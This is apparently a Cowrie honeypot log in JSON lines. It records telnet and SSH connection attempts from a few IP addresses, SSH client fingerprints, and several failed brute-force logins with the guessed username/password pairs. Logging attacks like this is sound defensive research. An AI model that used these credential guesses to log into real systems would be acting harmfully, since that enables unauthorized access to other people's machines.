{"eventid":"cowrie.session.closed","duration":36.45635390281677,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:07.752986Z","src_ip":"161.97.105.174","session":"af8d48243c56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41538,"dst_ip":"159.203.135.109","dst_port":23,"session":"54e8a444e8de","protocol":"telnet","message":"New connection: 161.97.105.174:41538 (159.203.135.109:23) [session: 54e8a444e8de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:08.429442Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41552,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbe5561dd324","protocol":"telnet","message":"New connection: 161.97.105.174:41552 (159.203.135.109:23) [session: bbe5561dd324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:08.654604Z"}
{"eventid":"cowrie.session.closed","duration":39.22451138496399,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:09.929455Z","src_ip":"161.97.105.174","session":"18cc28852d41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41554,"dst_ip":"159.203.135.109","dst_port":23,"session":"095d9a7213b5","protocol":"telnet","message":"New connection: 161.97.105.174:41554 (159.203.135.109:23) [session: 095d9a7213b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:09.981602Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41558,"dst_ip":"159.203.135.109","dst_port":23,"session":"684377005e88","protocol":"telnet","message":"New connection: 161.97.105.174:41558 (159.203.135.109:23) [session: 684377005e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:11.425410Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41574,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bb91c3437f8","protocol":"telnet","message":"New connection: 161.97.105.174:41574 (159.203.135.109:23) [session: 0bb91c3437f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:11.545594Z"}
{"eventid":"cowrie.session.closed","duration":36.639604330062866,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:12.039057Z","src_ip":"161.97.105.174","session":"c25489fa63ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.730729818344116,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:13.552053Z","src_ip":"161.97.105.174","session":"69f5f0f4e12e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":39052,"dst_ip":"10.17.0.5","dst_port":22,"session":"04c21fe8efa8","protocol":"ssh","message":"New connection: 200.187.71.114:39052 (10.17.0.5:22) [session: 04c21fe8efa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:14.217196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:14.222087Z","src_ip":"200.187.71.114","session":"04c21fe8efa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:14.336447Z","src_ip":"200.187.71.114","session":"04c21fe8efa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41578,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8a3f8e3c041","protocol":"telnet","message":"New connection: 161.97.105.174:41578 (159.203.135.109:23) [session: b8a3f8e3c041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:14.591610Z"}
{"eventid":"cowrie.login.failed","username":"ali","password":"!@#","message":"login attempt [ali/!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:14.826236Z","src_ip":"200.187.71.114","session":"04c21fe8efa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:15.944322Z","src_ip":"200.187.71.114","session":"04c21fe8efa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.80436086654663,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:16.718227Z","src_ip":"161.97.105.174","session":"2624993c728c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.57646107673645,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:19.027707Z","src_ip":"161.97.105.174","session":"ccf507fce244","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.973490715026855,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:21.389534Z","src_ip":"161.97.105.174","session":"008092ccbcec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46946,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a305180ca9d","protocol":"telnet","message":"New connection: 161.97.105.174:46946 (159.203.135.109:23) [session: 1a305180ca9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:21.588813Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46948,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a0023823e58","protocol":"telnet","message":"New connection: 161.97.105.174:46948 (159.203.135.109:23) [session: 6a0023823e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:22.183953Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46954,"dst_ip":"159.203.135.109","dst_port":23,"session":"90bc6aa46fb3","protocol":"telnet","message":"New connection: 161.97.105.174:46954 (159.203.135.109:23) [session: 90bc6aa46fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:22.295598Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46960,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b02667bf76a","protocol":"telnet","message":"New connection: 161.97.105.174:46960 (159.203.135.109:23) [session: 9b02667bf76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:22.630781Z"}
{"eventid":"cowrie.session.closed","duration":31.08831000328064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:22.709804Z","src_ip":"161.97.105.174","session":"67592a2c9398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46962,"dst_ip":"159.203.135.109","dst_port":23,"session":"35e2a66200d2","protocol":"telnet","message":"New connection: 161.97.105.174:46962 (159.203.135.109:23) [session: 35e2a66200d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:22.715823Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46976,"dst_ip":"159.203.135.109","dst_port":23,"session":"22427b80ae79","protocol":"telnet","message":"New connection: 161.97.105.174:46976 (159.203.135.109:23) [session: 22427b80ae79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:22.948448Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46986,"dst_ip":"159.203.135.109","dst_port":23,"session":"972997aa89e9","protocol":"telnet","message":"New connection: 161.97.105.174:46986 (159.203.135.109:23) [session: 972997aa89e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:24.208088Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":60394,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd76cd9f161b","protocol":"ssh","message":"New connection: 154.219.100.220:60394 (10.17.0.5:22) [session: bd76cd9f161b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:26.028209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:26.033320Z","src_ip":"154.219.100.220","session":"bd76cd9f161b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:26.235900Z","src_ip":"154.219.100.220","session":"bd76cd9f161b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"P@ssw0rd","message":"login attempt [testuser/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:27.073016Z","src_ip":"154.219.100.220","session":"bd76cd9f161b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:28.277373Z","src_ip":"154.219.100.220","session":"bd76cd9f161b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38404,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5d6fc58a280","protocol":"telnet","message":"New connection: 161.97.105.174:38404 (159.203.135.109:23) [session: d5d6fc58a280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:28.520572Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38408,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7bcf91c5403","protocol":"telnet","message":"New connection: 161.97.105.174:38408 (159.203.135.109:23) [session: c7bcf91c5403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:29.334815Z"}
{"eventid":"cowrie.session.closed","duration":39.21288323402405,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:30.167410Z","src_ip":"161.97.105.174","session":"25d75f80b8e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38418,"dst_ip":"159.203.135.109","dst_port":23,"session":"da0875a0b19a","protocol":"telnet","message":"New connection: 161.97.105.174:38418 (159.203.135.109:23) [session: da0875a0b19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:31.300486Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38428,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2f161e8cc64","protocol":"telnet","message":"New connection: 161.97.105.174:38428 (159.203.135.109:23) [session: e2f161e8cc64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:33.081879Z"}
{"eventid":"cowrie.session.closed","duration":33.03010892868042,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:33.096285Z","src_ip":"161.97.105.174","session":"e1c856812036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.44909954071045,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:33.334052Z","src_ip":"161.97.105.174","session":"ae0595ebcb57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38436,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a007bad6a82","protocol":"telnet","message":"New connection: 161.97.105.174:38436 (159.203.135.109:23) [session: 9a007bad6a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:33.708179Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":35768,"dst_ip":"10.17.0.5","dst_port":22,"session":"47a7778010f8","protocol":"ssh","message":"New connection: 202.125.94.71:35768 (10.17.0.5:22) [session: 47a7778010f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:34.000622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:34.005677Z","src_ip":"202.125.94.71","session":"47a7778010f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:34.270222Z","src_ip":"202.125.94.71","session":"47a7778010f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38446,"dst_ip":"159.203.135.109","dst_port":23,"session":"276973d7d777","protocol":"telnet","message":"New connection: 161.97.105.174:38446 (159.203.135.109:23) [session: 276973d7d777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:35.346477Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1","message":"login attempt [root/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:35.359358Z","src_ip":"202.125.94.71","session":"47a7778010f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":50556,"dst_ip":"10.17.0.5","dst_port":22,"session":"0362208fd196","protocol":"ssh","message":"New connection: 152.32.130.174:50556 (10.17.0.5:22) [session: 0362208fd196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:35.583470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:35.588045Z","src_ip":"152.32.130.174","session":"0362208fd196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:35.799043Z","src_ip":"152.32.130.174","session":"0362208fd196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.46261215209961,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:36.535599Z","src_ip":"161.97.105.174","session":"406ad2952751","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:36.629359Z","src_ip":"202.125.94.71","session":"47a7778010f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user123","message":"login attempt [user3/user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:36.673855Z","src_ip":"152.32.130.174","session":"0362208fd196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.79852819442749,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:37.748994Z","src_ip":"161.97.105.174","session":"14323fd1cc72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:37.890516Z","src_ip":"152.32.130.174","session":"0362208fd196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38454,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c100cdeeb38","protocol":"telnet","message":"New connection: 161.97.105.174:38454 (159.203.135.109:23) [session: 7c100cdeeb38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:38.330033Z"}
{"eventid":"cowrie.session.closed","duration":34.126198530197144,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:40.398981Z","src_ip":"161.97.105.174","session":"802a66d21646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.67492127418518,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:44.100214Z","src_ip":"161.97.105.174","session":"684377005e88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53112,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bdae390c114","protocol":"telnet","message":"New connection: 161.97.105.174:53112 (159.203.135.109:23) [session: 5bdae390c114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:45.346664Z"}
{"eventid":"cowrie.session.closed","duration":35.39584803581238,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:45.377293Z","src_ip":"161.97.105.174","session":"095d9a7213b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.552506923675537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:46.143912Z","src_ip":"161.97.105.174","session":"b8a3f8e3c041","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.988341093063354,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:46.533767Z","src_ip":"161.97.105.174","session":"0bb91c3437f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.18967056274414,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:46.844187Z","src_ip":"161.97.105.174","session":"bbe5561dd324","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":33182,"dst_ip":"10.17.0.5","dst_port":22,"session":"b23a0d98c520","protocol":"ssh","message":"New connection: 193.32.162.145:33182 (10.17.0.5:22) [session: b23a0d98c520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:46.897579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:46.902823Z","src_ip":"193.32.162.145","session":"b23a0d98c520","protocol":"ssh"}
